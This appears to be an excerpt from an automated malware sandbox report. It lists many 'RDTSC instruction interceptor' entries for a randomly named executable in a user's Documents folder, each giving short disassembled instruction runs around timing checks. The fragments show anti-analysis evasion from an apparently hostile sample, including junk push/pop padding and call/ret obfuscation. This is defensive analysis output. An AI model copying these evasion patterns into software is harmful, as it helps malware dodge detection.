Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3EB4E second address: C3EB69 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4414D31C26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F4414D31C2Dh 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3EB69 second address: C3EB83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F441484CE76h 0x0000000a jmp 00007F441484CE80h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3EB83 second address: C3EB92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C2Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3EB92 second address: C3EB9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3ED12 second address: C3ED17 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3F27E second address: C3F28F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3F3E0 second address: C3F40C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4414D31C2Bh 0x0000000d jmp 00007F4414D31C39h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3F70D second address: C3F719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F441484CE76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3F719 second address: C3F71E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3F9BC second address: C3F9C8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F441484CE76h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C45191 second address: C45196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C456B2 second address: C456CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F441484CE89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C49E67 second address: C49E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C49E6D second address: C49EAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F441484CE7Eh 0x0000000b popad 0x0000000c jmp 00007F441484CE89h 0x00000011 jmp 00007F441484CE7Ah 0x00000016 popad 0x00000017 pushad 0x00000018 jo 00007F441484CE82h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C49EAF second address: C49ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4414D31C26h 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007F4414D31C2Fh 0x00000013 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C49ECC second address: C49EDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C49EDC second address: C49EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4414D31C31h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4A089 second address: C4A098 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnc 00007F441484CE76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4A1B6 second address: C4A1BC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4A5B5 second address: C4A5BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4A5BB second address: C4A5BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4A5BF second address: C4A5CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F441484CE76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4A5CF second address: C4A5F6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4414D31C26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d pushad 0x0000000e jmp 00007F4414D31C32h 0x00000013 push ebx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4C973 second address: C4C998 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 62CE1D03h 0x00000011 clc 0x00000012 push 289927CCh 0x00000017 je 00007F441484CE84h 0x0000001d push eax 0x0000001e push edx 0x0000001f jp 00007F441484CE76h 0x00000025 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4CFDC second address: C4CFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4414D31C2Bh 0x0000000e rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4D0AD second address: C4D0B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4D0B6 second address: C4D0BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4D60E second address: C4D612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4D612 second address: C4D618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4D618 second address: C4D61E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4D61E second address: C4D659 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jc 00007F4414D31C2Ah 0x0000000f push ecx 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop ecx 0x00000013 xchg eax, ebx 0x00000014 movzx edi, bx 0x00000017 mov esi, dword ptr [ebp+122D38BDh] 0x0000001d nop 0x0000001e push ebx 0x0000001f js 00007F4414D31C28h 0x00000025 pushad 0x00000026 popad 0x00000027 pop ebx 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F4414D31C30h 0x00000030 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4D8D3 second address: C4D8D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4D9E4 second address: C4D9E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4D9E8 second address: C4D9F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4D9F2 second address: C4D9F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4D9F6 second address: C4DA1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F441484CE81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F441484CE7Ch 0x00000013 jp 00007F441484CE76h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4DB94 second address: C4DB9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4DB9A second address: C4DBA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C4DBA7 second address: C4DBAD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C51104 second address: C51108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C51108 second address: C5117C instructions: 0x00000000 rdtsc 0x00000002 je 00007F4414D31C26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c jmp 00007F4414D31C31h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F4414D31C28h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c mov edi, dword ptr [ebp+122D1E3Ch] 0x00000032 mov dword ptr [ebp+122D18AEh], edi 0x00000038 push 00000000h 0x0000003a jnp 00007F4414D31C2Ah 0x00000040 push 00000000h 0x00000042 sub si, 4867h 0x00000047 xchg eax, ebx 0x00000048 jnc 00007F4414D31C33h 0x0000004e push edi 0x0000004f jmp 00007F4414D31C2Bh 0x00000054 pop edi 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C5117C second address: C51182 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C51182 second address: C5118C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F4414D31C26h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C53088 second address: C530AE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F441484CE85h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f jng 00007F441484CE76h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C530AE second address: C530B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F4414D31C26h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C54A22 second address: C54A28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C54A28 second address: C54A9C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4414D31C26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F4414D31C28h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 sub bh, FFFFFFA2h 0x0000002c push 00000000h 0x0000002e jns 00007F4414D31C2Bh 0x00000034 add di, B433h 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push eax 0x0000003e call 00007F4414D31C28h 0x00000043 pop eax 0x00000044 mov dword ptr [esp+04h], eax 0x00000048 add dword ptr [esp+04h], 0000001Dh 0x00000050 inc eax 0x00000051 push eax 0x00000052 ret 0x00000053 pop eax 0x00000054 ret 0x00000055 mov edi, dword ptr [ebp+122D2983h] 0x0000005b je 00007F4414D31C26h 0x00000061 xchg eax, esi 0x00000062 pushad 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C54A9C second address: C54AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C54AA7 second address: C54AAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C55BC9 second address: C55BCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C55BCD second address: C55BE7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F4414D31C2Ch 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C55BE7 second address: C55BED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C57D1E second address: C57D45 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4414D31C33h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F4414D31C2Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C57D45 second address: C57D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C58DB9 second address: C58DBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C58DBD second address: C58E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F441484CE76h 0x0000000d jne 00007F441484CE76h 0x00000013 popad 0x00000014 popad 0x00000015 mov dword ptr [esp], eax 0x00000018 add dword ptr [ebp+122D1B23h], ecx 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007F441484CE78h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 00000014h 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a cmc 0x0000003b push 00000000h 0x0000003d mov edi, dword ptr [ebp+122D3A1Dh] 0x00000043 push edi 0x00000044 mov di, bx 0x00000047 pop edi 0x00000048 xchg eax, esi 0x00000049 jnl 00007F441484CE84h 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F441484CE82h 0x00000057 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C59DC4 second address: C59DCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C59DCE second address: C59E36 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c mov dword ptr [ebp+124520A9h], edi 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F441484CE78h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e jc 00007F441484CE79h 0x00000034 movsx ebx, si 0x00000037 push edi 0x00000038 call 00007F441484CE81h 0x0000003d pop ebx 0x0000003e pop edi 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F441484CE80h 0x00000048 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C5D46B second address: C5D4BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 xor dword ptr [ebp+122D2560h], edi 0x0000000f push 00000000h 0x00000011 mov edi, dword ptr [ebp+122D29C8h] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F4414D31C28h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 mov dword ptr [ebp+1247FAB2h], edx 0x00000039 mov ebx, dword ptr [ebp+122D232Bh] 0x0000003f xchg eax, esi 0x00000040 push eax 0x00000041 pushad 0x00000042 pushad 0x00000043 popad 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C5E607 second address: C5E610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C5E610 second address: C5E614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C614D0 second address: C614D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C52E64 second address: C52E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C57F53 second address: C57F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C58F5B second address: C58F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C58F60 second address: C58F66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C5AF89 second address: C5AF90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C5D6A7 second address: C5D6CC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F441484CE8Bh 0x00000008 jmp 00007F441484CE85h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C5F870 second address: C5F874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C616CD second address: C616D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C64486 second address: C6448C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C6448C second address: C64491 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C65490 second address: C65494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C65494 second address: C654A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C654A0 second address: C654B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C6E173 second address: C6E17D instructions: 0x00000000 rdtsc 0x00000002 js 00007F441484CE76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C6E17D second address: C6E183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C0D77E second address: C0D782 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C0D782 second address: C0D788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C0D788 second address: C0D7D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F441484CE7Fh 0x00000007 jmp 00007F441484CE7Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jng 00007F441484CEB9h 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F441484CE84h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F441484CE7Ah 0x00000026 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C6D8C2 second address: C6D8C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C6D8C8 second address: C6D8CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C6D9FB second address: C6D9FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
